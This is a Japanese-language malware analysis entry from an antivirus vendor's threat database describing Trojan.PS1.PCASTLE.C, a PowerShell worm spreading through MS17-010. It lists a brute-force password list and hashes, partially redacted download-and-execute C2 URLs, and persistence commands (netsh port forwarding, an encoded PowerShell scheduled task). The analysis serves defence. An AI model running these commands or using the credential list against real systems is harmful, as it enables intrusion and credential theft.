Trojan.PS1.PCASTLE.C

2019年4月22日

解析者: Arvin Roi Macaraeg

別名:

Trojan-PSW.PowerShell.Mimikatz.m(KASPERSKY), Trojan:JS/Obfus(MICROSOFT)

プラットフォーム:

Windows

危険度:

ダメージ度:

感染力:

感染確認数:

情報漏えい:

マルウェアタイプ: トロイの木馬型
破壊活動の有無: なし
暗号化: はい
感染報告の有無: はい

概要

感染経路インターネットからのダウンロード, 他のマルウェアからの作成

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、特定の脆弱性を利用した感染活動を実行します。

詳細

ファイルサイズ 3,159,314 bytes

タイプ PS1

メモリ常駐はい

発見日 2019年3月25日

ペイロード URLまたはIPアドレスに接続, 情報収集

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下の Mutex を作成し、メモリ上で自身の重複実行を避けます。

Global\powerv5

情報漏えい

マルウェアは、以下の情報を収集します。

OS Version
MAC Address
List of AV products from the victim's machine
OS Architecture
Username
Domain Name

その他

マルウェアは、以下の脆弱性を利用して感染活動を実行します。

Microsoft Windows SMB Server (MS17-010) Vulnerability

<補足>
情報漏えい

マルウェアは、以下の情報を収集します。

OSのバージョン
MACアドレス
ウイルス対策製品の一覧（感染コンピュータから）
オペレーティング・システム(OS)アーキテクチャ
ユーザ名
ドメイン名

その他

マルウェアは、以下を実行します。

PingCastleスキャナを使用して、標的とする脆弱なコンピュータを特定します。
総当たり攻撃の実行が可能です。マルウェアは、以下の認証情報を使用します。
- ユーザ名:
  - administrator
- パスワード:
  - 123456
  - password
  - PASSWORD
  - football
  - welcome
  - 1
  - 12
  - 21
  - 123
  - 321
  - 1234
  - 12345
  - 123123
  - 123321
  - 111111
  - 654321
  - 666666
  - 121212
  - 000000
  - 222222
  - 888888
  - 1111
  - 555555
  - 1234567
  - 12345678
  - 123456789
  - 987654321
  - admin
  - abc123
  - abcd1234
  - abcd@1234
  - abc@123
  - p@ssword
  - P@ssword
  - p@ssw0rd
  - P@ssw0rd
  - P@SSWORD
  - P@SSW0RD
  - P@$$w0rd
  - P@$$word
  - P@$$w0rd
  - iloveyou
  - monkey
  - login
  - passw0rd
  - master
  - hello
  - qazwsx
  - password1
  - qwerty
  - baseball
  - qwertyuiop
  - superman
  - 1qaz2wsx
  - fuckyou
  - 123qwe
  - zxcvbn
  - pass
  - aaaaaa
  - love
  - administrator
- パスワードのハッシュ:
  - 32ed87bdb5fdc5e9cba88547376818d4
  - 8846f7eaee8fb117ad06bdd830b7586c
  - 7b592e4f8178b4c75788531b2e747687
  - 31fc0dc8f7dfad0e8bd7ccc3842f2ce9
  - 674e48b68c5cd0efd8f7e5faa87b3d1e
  - 69943c5e63b4d2c104dbbcc15138b72b
  - 588feb889288fb953b5f094d47d1565c
  - bcdf115fd9ba99336c31e176ee34b304
  - 3dbde697d71690a769204beb12283678
  - df54de3f3438343202c1dd523d0265be
  - 7ce21f17c0aee7fb9ceba532d0546ad6
  - 7a21990fcd3d759941e45c490f143d5f
  - 579110c49145015c47ecd267657d3174
  - af27efb60c7b238910efe2a7e0676a39
  - 2d7f1a5a61d3a96fb5159b5eef17adc6
  - 4057b60b514c5402dde3d29a1845c366
  - e8cd0e4a9e89eab931dc5338fcbec54a
  - 6920c58d0df184d829189c44fafb7ece
  - 3fa45a060bd2693ae4c05b601d05ca0c
  - ba07ba35933e5bf42dea4af8add09d1e
  - f1351ac828428d74f6da2968089fc91f
  - e84d037613721532e6b6d84d215854b6
  - 2f2d544c53b3031f24d63402ea7fb4f9
  - 328727b81ca05805a68ef26acb252039
  - 259745cb123a52aa2e693aaacca2db52
  - c22b315c040ae6e0efee3518d830362b
  - 162e829be112225fedf856e38e1c65fe
  - 209c6174da490caeb422f3fa5a7ae634
  - f9e37e83b83c47a93c2f09f66408631b
  - b3ec3e03e2a202cbd54fd104b8504fef
  - 4ed91524cb54eaacc17a185646fb7491
  - aa647b916a1fad374df9c30711d58a7a
  - a80c9cc3f8439ada25af064a874efe2d
  - 13b29964cc2480b4ef454c59562e675c
  - de26cce0356891a4a020e7c4957afc72
  - e19ccf75ee54e06b06a5907af13cef42
  - 30fcaa8ad9a496b3e17f7fbfacc72993
  - 41630abb825ca50da31ce1fac1e9f54d
  - f56a8399599f1be040128b1dd9623c29
  - 2e4dbf83aa056289935daea328977b20
  - f56a8399599f1be040128b1dd9623c29
  - b963c57010f218edc2cc3c229b5e4d0f
  - f2477a144dff4f216ab81f2ac3e3207d
  - e6bd4cdb1e447131b60418f31d0b81d6
  - b9f917853e3dbf6e6831ecce60725930
  - 6d3986e540a63647454a50e26477ef94
  - 066ddfd4ef0e9cd7c256fe77191ef43c
  - 152efbcfafeb22eabda8fc5e68697a41
  - 5835048ce94ad0564e29a924a03510ef
  - 2d20d252a479f485cdf5e171d93985bf
  - 320a78179516c385e35a93ffa0b1c4ac
  - 0d757ad173d2fc249ce19364fd64c8ec
  - 72f5cfa80f07819ccbcfb72feb9eb9b7
  - f67f5e3f66efd7298be6acd32eeeb27c
  - 1c4ecc8938fb93812779077127e97662
  - ad70819c5bc807280974d80f45982011
  - a836ef24f0a529688be2af1479a95411
  - 36aa83bdcab3c9fdaf321ca42a31c3fc
  - acb98fd0478427cd18949050c5e87b47
  - 85deeec2d12f917783b689ae94990716
  - a4141712f19e9dd5adf16919bb38a95c
以下のURLのコンテンツをダウンロードしてメモリ内で実行します。(ただし、情報公開現在、このWebサイトにアクセスできません)
- http://p.{BLOCKED}h.com/upgrade.php?ver=5&mac={MACアドレス}&av={ウイルス対策製品の一覧}&ver={OSのバージョン}&bit={OSアーキテクチャ}
- http://v.{BLOCKED}.com/ipc?low1
- http://v.{BLOCKED}.com/wm?smb
Pass-the-Hash攻撃の実行が可能です。成功すると、マルウェアは以下のファイルを作成します。
- %Application Data%\sign.txt
- %Application Data%\flashplayer.tmp
- %User Startup%\run.bat
- %User Startup%\FlashPlayer.lnk
総当たり攻撃の実行に成功すると、以下を行います。
- 以下のプロセスを実行します。
  - netsh.exe firewall add portopening tcp 65533 DNS
  - netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
- スケジュールタスクを作成します。
  - タスク名: \Microsoft\windows\Rass
  - アクション: powershell -nop -ep bypass -e {Base-64 encoded}
- 以下のURLを使用してパブリックIPアドレスを取得します。
  - https://{BLOCKED}i.{BLOCKED}y.org/

マルウェアは、コンピュータ上で利用可能なIPアドレスの範囲をスキャンします。IPアドレスを特定した場合、特定したIPアドレスへの接続を試みます。マルウェアは、特定したIPアドレスに接続できる場合、MS17-010（EternalBlue）の脆弱性を利用してスケジュールタスクを作成し、利用可能なIPアドレスを標的とします。作成されたスケジュールタスクはURLに接続し、ファイルをダウンロードして実行します。

マルウェアは、MS17-010の脆弱性を利用してスケジュールタスクを作成し、メモリ内に自身のコピーの更新版をダウンロードして実行します。

マルウェアは、以下の脆弱性を利用して感染活動を実行します。

Microsoft Windows SMB サーバー (MS17-010) の脆弱性

Trojan.PS1.PCASTLE.C

概要

詳細

対応方法